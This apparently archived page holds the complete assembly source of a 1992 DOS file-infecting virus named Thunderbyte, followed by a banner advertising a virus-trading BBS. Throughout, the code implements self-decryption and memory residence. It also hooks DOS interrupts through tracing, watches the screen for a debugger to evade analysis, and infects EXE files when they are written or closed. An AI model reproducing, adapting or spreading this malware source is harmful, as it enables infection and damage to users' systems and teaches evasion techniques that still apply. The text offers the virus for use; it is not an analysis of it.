home *** CD-ROM | disk | FTP | other *** search
- ;*****************************************************************************;
-
- ; ;
-
- ; Tunderbyte Virus ;
-
- ; ;
-
- ; TBSCAN.DAT : DB3F00807609??4D75F9 ;
-
- ; ;
-
- ;*****************************************************************************;
-
-
-
- virus segment public 'code'
-
- assume cs:virus, ds:virus, es:virus
-
- org 0
-
-
-
- VirusStart equ $
-
- VirusSize1 equ (VirusEnd1-$)
-
- VirusSize2 equ (VirusEnd2-$)
-
-
-
- Decrypt1: db 0bdh,StartEncrypt-Decrypt2,0
-
- db 80h,76h,Decrypt2-VirusStart-1,0
-
- db 4dh,75h,-7
-
- Decrypt2: cli
-
- mov sp,offset DoAgain-2
-
- ret -8
-
-
-
- db 0,0,0,0,'***** THUNDERBYTE *****',0,0,0,0
-
-
-
- Init: mov cx,(VirusEnd1-StartEncrypt+1)/2
-
- mov dl,byte ptr cs:Decrypt1[6]
-
- mov dh,dl
-
- mov si,offset StartEncrypt
-
- NotReady: ret 2
-
-
-
- DecryptWord: mov ax,ss:[si]
-
- xor cs:[si],dx
-
- NextWord: add dx,ax
-
- inc si
-
- ret -4
-
-
-
- dw DecryptWord
-
- dw DoAgain
-
- dw NextWord
-
- dw Init
-
- DoAgain: loop NotReady
-
-
-
- StartEncrypt equ $
-
-
-
- Main: mov sp,1000h
-
- sti
-
- push ds
-
- push es
-
- mov ax,03031h
-
- mov bx,0DEADh
-
- int 21h
-
- cmp ax,0DEADh
-
- jne Install
-
- jmp Exit
-
- Install: push es
-
- mov ah,52h
-
- int 21h
-
- mov ax,es:[bx-2]
-
- mov cs:FirstMCB,ax
-
- pop es
-
- CheckBlock: mov ds,ax
-
- inc ax
-
- cmp word ptr ds:[1],ax
-
- jne NextBlock
-
- cmp word ptr ds:[3],((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)
-
- jne NextBlock
-
- push ax
-
- push es
-
- mov cx,VirusSize2
-
- xor di,di
-
- mov es,ax
-
- mov al,es:[di]
-
- cld
-
- repe scasb
-
- pop es
-
- pop ax
-
- je CopyVirus
-
- NextBlock: add ax,ds:[3]
-
- cmp byte ptr ds:[0],'Z'
-
- jne CheckBlock
-
- mov ah,4ah
-
- mov bx,-1
-
- int 21h
-
- mov ah,4ah
-
- sub bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)+1
-
- int 21h
-
- mov ah,48h
-
- mov bx,((VirusSize2+0fh)/10h)+((VirusSize1+0fh)/10h)
-
- int 21h
-
- CopyVirus: push cs
-
- pop ds
-
- dec ax
-
- mov es,ax
-
- inc ax
-
- mov es:[1],ax
-
- mov cx,8
-
- mov si,offset CommandStr
-
- mov di,cx
-
- cld
-
- rep movsb
-
- mov es,ax
-
- EncryptZero: inc byte ptr ds:Decrypt1[6]
-
- jz EncryptZero
-
- mov cx,VirusSize2
-
- xor si,si
-
- xor di,di
-
- cld
-
- rep movsb
-
- push es
-
- call ReturnFar
-
- xor ax,ax
-
- mov ds,ax
-
- cli
-
- mov ax,offset DebugWatch
-
- xchg ax,ds:[20h]
-
- mov cs:OldInt8o,ax
-
- mov ax,cs
-
- xchg ax,ds:[22h]
-
- mov cs:OldInt8s,ax
-
- sti
-
- push ds:[4]
-
- push ds:[6]
-
- mov word ptr ds:[4],offset Trace1
-
- mov word ptr ds:[6],cs
-
- pushf
-
- push cs
-
- mov ax,offset Return4
-
- push ax
-
- cli
-
- pushf
-
- pop ax
-
- or ax,100h
-
- push ax
-
- push ds:[86h]
-
- push ds:[84h]
-
- mov ah,52h
-
- Trace1: push bp
-
- mov bp,sp
-
- push ax
-
- push ds
-
- push cs
-
- pop ds
-
- mov ax,FirstMCB
-
- cmp [bp+4],ax
-
- jae Return1
-
- mov ax,[bp-2]
-
- mov RegAX,ax
-
- mov RegSP,bp
-
- mov ax,[bp+2]
-
- mov OldInt21o,ax
-
- mov ax,[bp+4]
-
- mov OldInt21s,ax
-
- xor ax,ax
-
- mov ds,ax
-
- mov word ptr ds:[4],offset Trace2
-
- mov word ptr ds:[6],cs
-
- jmp short Trace3
-
- Return1: jmp short Return3
-
- Trace2: push bp
-
- mov bp,sp
-
- push ax
-
- push ds
-
- cmp ax,cs:RegAX
-
- jne Return3
-
- cmp bp,cs:RegSP
-
- jne Return3
-
- Trace3: push bx
-
- push dx
-
- lds bx,[bp+2]
-
- mov al,[bx]
-
- mov dx,[bx+1]
-
- inc dx
-
- cmp al,0e9h
-
- je JumpOpcode
-
- cmp al,0e8h
-
- je CallOpcode
-
- xchg ax,dx
-
- dec ax
-
- cbw
-
- xchg ax,dx
-
- cmp al,0ebh
-
- je JumpOpcode
-
- cmp al,70h
-
- jb Return2
-
- cmp al,7fh
-
- ja Return2
-
- JumpOpcode: push ax
-
- push ds
-
- xor ax,ax
-
- mov ds,ax
-
- mov word ptr ds:[0c8h],offset HackJump
-
- mov word ptr ds:[0cah],cs
-
- jmp short Continue
-
- CallOpcode: push ax
-
- push ds
-
- xor ax,ax
-
- mov ds,ax
-
- mov word ptr ds:[0c8h],offset HackCall
-
- mov word ptr ds:[0cah],cs
-
- Continue: pop ds
-
- pop ax
-
- mov cs:Displacement,dx
-
- mov cs:Opcode,al
-
- mov ax,32cdh
-
- xchg ax,[bx]
-
- mov cs:SavedCode,ax
-
- mov cs:HackOffset,bx
-
- mov cs:HackSegment,ds
-
- and word ptr [bp+6],0feffh
-
- Return2: pop dx
-
- pop bx
-
- Return3: pop ds
-
- pop ax
-
- pop bp
-
- iret
-
- Return4: pop ds:[6]
-
- pop ds:[4]
-
- mov cs:Handle,0
-
- Exit: pop es
-
- pop ds
-
- mov ax,ds
-
- add ax,10h
-
- add cs:OldCS,ax
-
- add ax,cs:OldSP
-
- mov dx,cs:OldSP
-
- cli
-
- mov ss,ax
-
- mov sp,dx
-
- sti
-
- jmp cs:OldEntry
-
-
-
- ReturnFar: retf
-
-
-
- OldEntry equ this dword
-
- OldIP dw 0
-
- OldCS dw -10h
-
- OldSP dw 1000h
-
- OldSS dw 0
-
-
-
- HackAddress equ this dword
-
- HackOffset dw ?
-
- HackSegment dw ?
-
- SavedCode dw ?
-
-
-
- HackJump: call Interrupt21
-
- push bp ; simulate a conditional or
-
- push ax ; unconditional jump
-
- mov bp,sp
-
- mov ax,[bp+8]
-
- and ax,0fcffh
-
- push ax
-
- db 0b8h ; mov ax,????
-
- Displacement dw 0
-
- popf
-
- Opcode db 0ebh,3,0 ; j?? +3
-
- xor ax,ax
-
- nop
-
- add [bp+4],ax
-
- pop ax
-
- pop bp
-
- iret
-
-
-
- HackCall: call Interrupt21
-
- sub sp,2 ; simulate a call
-
- push bp
-
- mov bp,sp
-
- push ax
-
- mov ax,[bp+4]
-
- inc ax
-
- xchg ax,[bp+8]
-
- xchg ax,[bp+6]
-
- xchg ax,[bp+4]
-
- add ax,cs:Displacement
-
- mov [bp+2],ax
-
- pop ax
-
- pop bp
-
- iret
-
-
-
- Seek: mov ah,42h
-
- xor cx,cx
-
- xor dx,dx
-
-
-
- Dos: pushf
-
- db 9ah
-
- OldInt21o dw ?
-
- OldInt21s dw ?
-
- ret
-
-
-
- DosVersion: cmp ax,3031h
-
- jne NotTByte
-
- cmp bx,0DEADh
-
- jne NotTByte
-
- mov ax,0DEADh
-
- add sp,8
-
- iret
-
-
-
- Interrupt21: cmp ah,30h
-
- je DosVersion
-
- push si
-
- push ds
-
- push cs:SavedCode
-
- lds si,cs:HackAddress
-
- pop ds:[si]
-
- pop ds
-
- pop si
-
- push ax
-
- push bx
-
- push cx
-
- push dx
-
- push si
-
- push di
-
- push bp
-
- push ds
-
- push es
-
- cmp ah,3eh
-
- je CloseFile
-
- cmp ah,40h
-
- je WriteFile
-
- Old21: pop es
-
- pop ds
-
- pop bp
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop bx
-
- pop ax
-
- push si
-
- push ds
-
- lds si,cs:HackAddress
-
- mov word ptr ds:[si],32cdh
-
- pop ds
-
- pop si
-
- NotTByte: ret
-
-
-
- WriteFile: mov ax,4400h
-
- call Dos
-
- cmp dl,7fh
-
- ja Error1
-
- mov al,1
-
- call Seek
-
- jc Error1
-
- or dx,dx
-
- jnz Error1
-
- cmp ax,17h
-
- ja Error1
-
- push cs
-
- pop es
-
- mov si,dx
-
- mov di,offset Signature
-
- add di,ax
-
- cmp word ptr [si],"ZM"
-
- jne Error1
-
- cmp word ptr [si+12h],0DEADh
-
- je Error1
-
- cmp cx,18h
-
- jb CheckHandle
-
- or ax,ax
-
- jz Ok
-
- CheckHandle: cmp bx,cs:Handle
-
- jne Error1
-
- Ok: add cx,ax
-
- cmp cx,18h
-
- jbe CountOk
-
- mov cx,18h
-
- CountOk: sub cx,ax
-
- jbe Error1
-
- cld
-
- rep movsb
-
- mov cs:Handle,bx
-
- Error1: jmp Old21
-
-
-
- CloseFile: push cs
-
- pop ds
-
- push cs
-
- pop es
-
- mov ax,4400h
-
- call Dos
-
- test dl,80h
-
- jne Error1
-
- or bx,bx
-
- je Read
-
- cmp cs:Handle,bx
-
- je DoNotRead
-
- Read: xor al,al
-
- call Seek
-
- jc Error1
-
- mov ah,3fh
-
- mov cx,18h
-
- mov dx,offset Signature
-
- call Dos
-
- jc Error1
-
- DoNotRead: mov cs:Handle,0
-
- cmp Signature,"ZM"
-
- jne Error1
-
- cmp ChkSum,0DEADh
-
- je Error1
-
- mov ax,ExeIP
-
- mov OldIP,ax
-
- mov ax,ExeCS
-
- mov OldCS,ax
-
- mov ax,ExeSS
-
- mov OldSS,ax
-
- mov ax,ExeSP
-
- mov OldSP,ax
-
- mov al,2
-
- call Seek
-
- jc Error1
-
- push ax
-
- push dx
-
- mov cx,200h
-
- div cx
-
- cmp PartPage,dx
-
- jne SizeError
-
- add dx,-1
-
- adc ax,0
-
- cmp PageCount,ax
-
- SizeError: pop dx
-
- pop ax
-
- jne Error2
-
- add ax,0fh
-
- adc dx,0
-
- and ax,0fff0h
-
- mov cx,dx
-
- mov dx,ax
-
- mov ax,4200h
-
- call Dos
-
- jnc SeekOk
-
- Error2: jmp Old21
-
- SeekOk: mov cx,10h
-
- div cx
-
- sub ax,HdrSize
-
- mov ExeCS,ax
-
- mov ExeIP,offset Decrypt1
-
- mov ExeSS,ax
-
- mov ExeSP,VirusSize1+400h
-
- cmp MinMem,40h
-
- jae MemoryOk
-
- mov MinMem,40h
-
- cmp MaxMem,40h
-
- jae MemoryOk
-
- mov MaxMem,40h
-
- MemoryOk: push ds
-
- push es
-
- mov ax,cs
-
- mov ds,ax
-
- add ax,(VirusSize2+0fh)/10h
-
- mov es,ax
-
- mov cx,VirusSize1
-
- xor si,si
-
- xor di,di
-
- cld
-
- rep movsb
-
- mov ds,ax
-
- mov cx,offset StartEncrypt-Decrypt2
-
- mov dl,byte ptr ds:Decrypt1[6]
-
- mov si,offset StartEncrypt-1
-
- Again1: xor ds:[si],dl
-
- dec si
-
- loop Again1
-
- mov cx,(VirusEnd1-StartEncrypt+1)/2
-
- mov dh,dl
-
- mov si,offset StartEncrypt
-
- Again2: xor ds:[si],dx
-
- mov ax,ds:[si]
-
- add dx,ax
-
- inc si
-
- add dx,ax
-
- inc si
-
- loop Again2
-
- mov ah,40h
-
- mov cx,VirusSize1
-
- xor dx,dx
-
- call Dos
-
- pop ds
-
- pop es
-
- jc Error3
-
- mov al,2
-
- call Seek
-
- jc Error3
-
- mov cx,200h
-
- div cx
-
- mov PartPage,dx
-
- add dx,-1
-
- adc ax,0
-
- mov PageCount,ax
-
- mov ChkSum,0DEADh
-
- xor al,al
-
- call Seek
-
- jc Error3
-
- mov ah,40h
-
- mov cx,18h
-
- mov dx,offset Signature
-
- call Dos
-
- Error3: jmp Old21
-
-
-
- Count dw 8
-
- DebugStr db 'DEBUG'
-
- CommandStr db 'COMMAND '
-
-
-
- DebugWatch: push ax
-
- push cx
-
- push dx
-
- push si
-
- push di
-
- push ds
-
- push es
-
- dec cs:Count
-
- jnz EndWatch
-
- mov cs:Count,8
-
- mov ax,0b000h
-
- mov ds,ax
-
- mov cx,2
-
- push cs
-
- pop es
-
- cld
-
- NextScreen: push cx
-
- mov cx,2000
-
- xor si,si
-
- mov di,offset DebugStr
-
- NextChar1: mov dx,5
-
- NextChar2: lodsb
-
- inc si
-
- and al,0dfh
-
- scasb
-
- jne CharOk
-
- dec dx
-
- jnz NextChar2
-
- Alarm: pop cx
-
- lds si,cs:HackAddress
-
- cmp byte ptr ds:[si],0cdh
-
- jne EndWatch
-
- mov ax,cs:SavedCode
-
- mov ds:[si],ax
-
- xor cx,cx
-
- mov ds,cx
-
- mov ax,cs:OldInt8o
-
- mov ds:[20h],ax
-
- mov ax,cs:OldInt8s
-
- mov ds:[22h],ax
-
- mov es,cx
-
- push cs
-
- pop ds
-
- mov cx,14
-
- mov si,offset EndWatch-2
-
- mov di,4f0h
-
- push es
-
- push di
-
- rep movsb
-
- xor di,di
-
- mov cx,VirusSize2
-
- push cs
-
- pop es
-
- retf
-
- CharOk: neg dx
-
- add dx,5
-
- sbb di,dx
-
- sub si,dx
-
- sub si,dx
-
- loop NextChar1
-
- ScreenOk: mov ax,ds
-
- add ax,800h
-
- mov ds,ax
-
- pop cx
-
- loop NextScreen
-
- jmp short EndWatch
-
- rep stosb
-
- EndWatch: pop es
-
- pop ds
-
- pop di
-
- pop si
-
- pop dx
-
- pop cx
-
- pop ax
-
- db 0eah
-
- OldInt8o dw ?
-
- OldInt8s dw ?
-
-
-
- db '***** (C) COPYRIGHT 1992 BY THE WRITER *****'
-
-
-
- VirusEnd1 equ $
-
-
-
- FirstMCB dw ?
-
- RegAX dw ?
-
- RegSP dw ?
-
-
-
- Handle dw ?
-
- Signature dw ?
-
- PartPage dw ?
-
- PageCount dw ?
-
- ReloCnt dw ?
-
- HdrSize dw ?
-
- MinMem dw ?
-
- MaxMem dw ?
-
- ExeSS dw ?
-
- ExeSP dw ?
-
- ChkSum dw ?
-
- ExeIP dw ?
-
- ExeCS dw ?
-
-
-
- VirusEnd2 equ $
-
-
-
- virus ends
-
-
-
- end Main
-
-
- ;─────────────────────────────────────────────────────────────────────────;
-
- ;──────────────────> and Remember Don't Forget to Call <──────────────────;
-
- ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
-
- ;─────────────────────────────────────────────────────────────────────────;
-
-
-
-